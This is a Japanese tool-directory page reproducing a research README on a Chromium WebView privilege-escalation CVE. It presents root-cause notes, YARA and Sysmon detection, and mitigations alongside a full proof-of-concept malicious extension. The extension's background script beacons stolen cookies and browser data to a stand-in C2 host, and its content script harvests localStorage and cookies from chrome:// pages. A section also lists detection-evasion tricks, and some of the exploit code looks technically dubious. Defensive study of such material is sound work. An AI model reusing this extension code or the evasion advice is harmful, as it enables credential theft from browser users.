Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation — CVE-2026-0628(Chromium WebView の権限昇格の脆弱性)の技術的解析。根本原因分析、PoC エクスプロイト、検出ルール、および緩和策を含む。 | Kitploit
ツール/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/dissecting-cve-2026-0628-chromium-extension-privilege-escalation
特権昇格脆弱性分析エクスプロイトウェブセキュリティマルウェア分析デジタルフォレンジック
GitHubsastraadiwiguna-purpleeliteteaming/dissecting-cve-2026-0628-chromium-extension-privilege-escalation

Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation

CVE-2026-0628(Chromium WebView の権限昇格の脆弱性)の技術的解析。根本原因分析、PoC エクスプロイト、検出ルール、および緩和策を含む。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見るウェブサイト
16ヶ月前未レビュー

DOI = doi.org/10.5281/zenodo.18413764

ORCID = orcid.org/0009-0007-7728-256X

root@kitploit:~

README.md


# **CVE-2026-0628: Chromium WebView 権限昇格(オリジン偽装)– 技術調査 & 概念実証**

**著者:** Sastra Adi Wiguna (Purple Elite Teaming)
**調査日:** 2026年1月
**CVE ID:** CVE-2026-0628
**CVSS v3.1:** 8.8 (High)
**影響を受けるバージョン:** Chromium < 143.0.7499.192
**パッチ状況:** Chrome ≥143.0.7499.192、Edge ≥143.0.3650.139 で修正済み

---

## **1. 概要**

### **1.1 調査目的**
このリポジトリは、Chromium の WebView ポリシー強制メカニズムにおける**高深刻度の権限昇格脆弱性**である **CVE-2026-0628** を文書化したものです。この脆弱性により、悪意のある拡張機能が**サンドボックス制限をバイパス**し、**特権コンテキスト**(例: `chrome://`)にスクリプトを注入し、任意のコードを実行するための**権限を昇格**させることが可能になります。

この調査は、以下のような**防御セキュリティ目的専用**です:
- **脆弱性分析**
- **検知エンジニアリング**
- **緩和戦略の策定**
- **ペネトレーションテスト(認可された環境のみ)**

### **1.2 免責事項**
- **学術的および防御的な調査専用です。**
- **許可なく本番システムに対して使用しないでください。**
- **適用されるすべての法律および組織のセキュリティポリシーを遵守してください。**
- **直ちにパッチを適用してください:** Chrome ≥143.0.7499.192、Edge ≥143.0.3650.139。

---

## **2. 技術的詳細**

### **2.1 根本原因**
Chromium の WebView 実装における**不十分なポリシー強制**により、拡張機能が**サンドボックス境界をエスケープ**し、**特権 DOM コンテキスト**にアクセスできるようになります。

**脆弱なフロー:**
1. 悪意のある拡張機能が `manifest.json` で WebView の使用を宣言します。
2. 拡張機能が `<webview>` タグを介して細工された HTML/JS ペイロードを注入します。
3. **WebView ポリシー検証のバイパス** → 特権ページ(例: `chrome://settings`)へのアクセス。
4. 特権コンテキストでの**任意のスクリプト実行**。

**CVSS ベクター:**
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

### **2.2 エクスプロイトアーキテクチャ**
#### **悪意のある拡張機能テンプレート**
```json
{
  "manifest_version": 3,
  "name": "Legitimate Extension",
  "version": "1.0",
  "webview": {
    "src": "chrome://new-tab-page/",
    "plugins": {}
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["payload.js"]
  }]
}

重要な注入ベクター (payload.js)

root@kitploit:~
class WebViewExploiter {
  constructor() {
    this.privilegedTargets = [
      'chrome://new-tab-page/',
      'chrome-extension://background/',
      'chrome://settings/'
    ];
  }
  injectPayload(targetURL) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', targetURL);
    webview.setAttribute('nodeintegration', ''); // 主要なバイパスパラメータ
    webview.addEventListener('dom-ready', () => {
      webview.executeScript({
        code: `
          window.chrome = window.chrome || {};
          chrome.runtime.sendMessage({action: 'steal_data'});
          document.body.innerHTML = '';
        `
      });
    });
    document.body.appendChild(webview);
  }
}

3. 影響評価


4. 検知 & フォレンジック

4.1 悪意のある拡張機能の YARA ルール

root@kitploit:~
rule CVE_2026_0628_WebView_Exploiter {
  meta:
    description = "Detects CVE-2026-0628 WebView exploit patterns"
    severity = "high"
  strings:
    $webview_abuse = "webview.*(nodeintegration|allowpopups)"
    $chrome_priv = /(chrome:\/\/|chrome-extension:\/\/)/
    $inject_sig = /(executeScript|getURL|sendMessage)/
  condition:
    all of ($*) and filesize < 500KB
}

4.2 Sysmon イベントシグネチャ

  • イベント ID 1: chrome.exe → 不審な WebView の作成。
  • イベント ID 3: ネットワーク接続 → 拡張機能 → 外部 C2。
  • レジストリ: HKCU\Software\Google\Chrome\Extensions\[malicious_id]。

5. パッチ分析 & バイパスベクター

5.1 修正版の差分 (Chrome 143.0.7499.192+)

root@kitploit:~
// 脆弱なバージョン (pre-143.0.7499.192)
if (webview.src.startsWith('chrome://')) {
  return false; // 脆弱なポリシーチェック
}

// 修正版
function validateWebViewPolicy(webview) {
  if (!isExtensionTrusted(webview.extensionId)) {
    throw new SecurityError('Extension not privileged');
  }
  if (webview.attributes.includes('nodeintegration')) {
    enforceStrictCSP(); // Content-Security-Policy の強化
  }
}

5.2 緩和策の実装

エンタープライズ GPO テンプレート

root@kitploit:~
{
  "ExtensionInstallBlacklist": ["malicious_extension_id*"],
  "ExtensionInstallForcelist": [],
  "WebViewRestrictions": {
    "DisableWebView": true,
    "BlockNodeIntegration": true
  }
}

ランタイム検知スクリプト (PowerShell)

root@kitploit:~
# Detect-CVE20260628.ps1
Get-Process chrome | ForEach {
  $extPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
  Get-ChildItem $extPath | Where {
    (Get-Content "$_\manifest.json" | Select-String "webview") -and
    (Get-Content "$_\manifest.json" | Select-String "chrome://")
  }
}

6. 概念実証 (PoC) エクスプロイト

6.1 ディレクトリ構造

root@kitploit:~
cve-2026-0628-poc/
├── manifest.json
├── background.js
├── content.js
└── popup.html

6.2 コアファイル

manifest.json (バイパスマニフェスト)

root@kitploit:~
{
  "manifest_version": 3,
  "name": "WebView Helper Tool",
  "version": "1.0",
  "permissions": ["activeTab", "storage", "tabs"],
  "host_permissions": ["<all_urls>", "chrome://*/*"],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"],
    "run_at": "document_start"
  }],
  "action": {
    "default_popup": "popup.html"
  },
  "web_accessible_resources": [{
    "resources": ["inject.js"],
    "matches": ["<all_urls>"]
  }]
}

background.js (永続性 & C2 ビーコン)

root@kitploit:~
chrome.runtime.onInstalled.addListener(() => {
  console.log('CVE-2026-0628 PoC Installed');
  setTimeout(initExploitation, 5000);
});

async function initExploitation() {
  fetch('http://your-c2-server.com/beacon?ext_id=' + chrome.runtime.id, {
    method: 'POST',
    body: JSON.stringify({
      victim: navigator.userAgent,
      cookies: await getAllCookies()
    })
  }).catch(() => {});
  chrome.tabs.onUpdated.addListener(exploitTab);
}

content.js (WebView トリガー & 注入)

root@kitploit:~
(function() {
  const privilegedTargets = [
    'chrome://new-tab-page/',
    'chrome://settings/',
    'chrome://extensions/'
  ];
  function createMaliciousWebView(target) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', target);
    webview.setAttribute('allowpopups', '');
    webview.addEventListener('dom-ready', () => {
      chrome.scripting.executeScript({
        target: {tabId: getCurrentTabId()},
        func: stealPrivilegedData
      });
    });
    document.body.appendChild(webview);
  }
  function stealPrivilegedData() {
    return {
      localStorage: Object.fromEntries(Object.entries(localStorage)),
      cookies: document.cookie,
      extensions: chrome.runtime.getManifest?.()
    };
  }
  setTimeout(() => {
    createMaliciousWebView('chrome://new-tab-page/');
  }, 1000);
})();

7. ラボ再現

7.1 要件

  • 脆弱な Chrome: 143.0.7499.191
  • OS: Windows 10/11 (VM 推奨)
  • ツール: Burp Suite (プロキシ)、REMnux (フォレンジック)

7.2 手順

  1. Chrome 143.0.7499.191 をダウンロード(脆弱なバージョン)。
  2. フラグを指定して起動:
    root@kitploit:~
    chrome.exe --disable-web-security --user-data-dir=/tmp/vuln
    
  3. 拡張機能を読み込む:
    • chrome://extensions/ に移動します。
    • デベロッパーモードを有効にします。
    • パッケージ化されていない拡張機能を読み込むをクリック → cve-2026-0628-poc/ を選択します。
  4. エクスプロイトをトリガー:
    • chrome://new-tab-page/ に移動します。
    • DevTools で WebView の作成を観察します。
  5. トラフィックを監視:
    • Burp Suite (localhost:8080) → C2 へのデータ流出をキャプチャします。
  6. 成功を確認:
    • ネットワークタブ → your-c2-server.com へのビーコン。
    • コンソール: "CVE-2026-0628 OWNED"。

8. 検知回避テクニック

  • ステガノグラフィー: 画像ピクセルにデータ流出をエンコードします。
  • ドメイン生成アルゴリズム: C2 ローテーション用の DGA。
  • タイミング攻撃: インストール後 5〜30 秒遅延させて実行します。
  • マニフェストの難読化: 機密文字列を Base64 エンコードします。

9. 緩和 & パッチワークフロー

  • 即時対応: Chrome/Edge を修正版に更新します。
  • エンタープライズ GPO:
    root@kitploit:~
    {
      "ExtensionInstallBlacklist": ["*"],
      "WebViewRestrictions": {
        "DisableWebView": true,
        "BlockNodeIntegration": true
      }
    }
    
  • ランタイム検知:
    root@kitploit:~
    # 悪意のある拡張機能をスキャン
    Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions" |
      Where { (Get-Content "$_\manifest.json" | Select-String "webview") }
    

10. フォレンジック分析

10.1 Volatility3 コマンド

root@kitploit:~
volatility3 -f memdump.raw windows.chrome.ChromeExtensions
yara3 -r cve-2026-0628.yar /path/to/chrome/extensions/

10.2 メモリダンプ用 YARA ルール

root@kitploit:~
rule CVE_2026_0628_Mojo_Origin_Spoof {
  strings:
    $mojo_hdr = { 4D 6F 6A 6F }
    $chrome_origin = "chrome://new-tab-page/"
    $webview_sig = "WebViewPolicyValidator"
  condition:
    all of them
}

11. 結論

11.1 主要な発見

  • CVE-2026-0628 は、WebView ポリシーバイパスを介した権限昇格を可能にします。
  • 影響: セッションハイジャック、認証情報の窃取、ラテラルムーブメント。
  • 緩和策: Chrome/Edge へのパッチ適用、GPO 制限の強制、悪意のある拡張機能の監視。

11.2 推奨事項

  • 直ちにパッチを適用して Chrome ≥143.0.7499.192 または Edge ≥143.0.3650.139 に更新します。
  • 検知用の YARA/Sysmon ルールを展開します。
  • エンタープライズ GPO で拡張機能を制限します。
  • レッドチーム演習を実施して防御を検証します。

12. 法的 & 倫理的考慮事項

  • 認可された使用のみ。
  • 明示的な許可なしに本番環境に展開しないでください。
  • 脆弱性をベンダーに責任を持って報告してください。

連絡先: 防御セキュリティに関する質問は、GitHub Issues から著者に連絡してください。


© 2026 Sastra Adi Wiguna. All rights reserved.

root@kitploit:~
ツールをダウンロード
攻撃フェーズ技術的影響ビジネス影響CVSS メトリクス
拡張機能のインストールユーザーの同意 → 永続性ソーシャルエンジニアリングベクターUI:R (Required)
WebView バイパスサンドボックスエスケープ → 特権コンテキストセッションハイジャックS:U → C:H/I:H/A:H
スクリプト注入DOM 操作 → データ流出認証情報の窃取PR:N (No Privs)
永続性バックグラウンドスクリプト → C2 ビーコンラテラルムーブメントの準備AC:L (Low Complexity)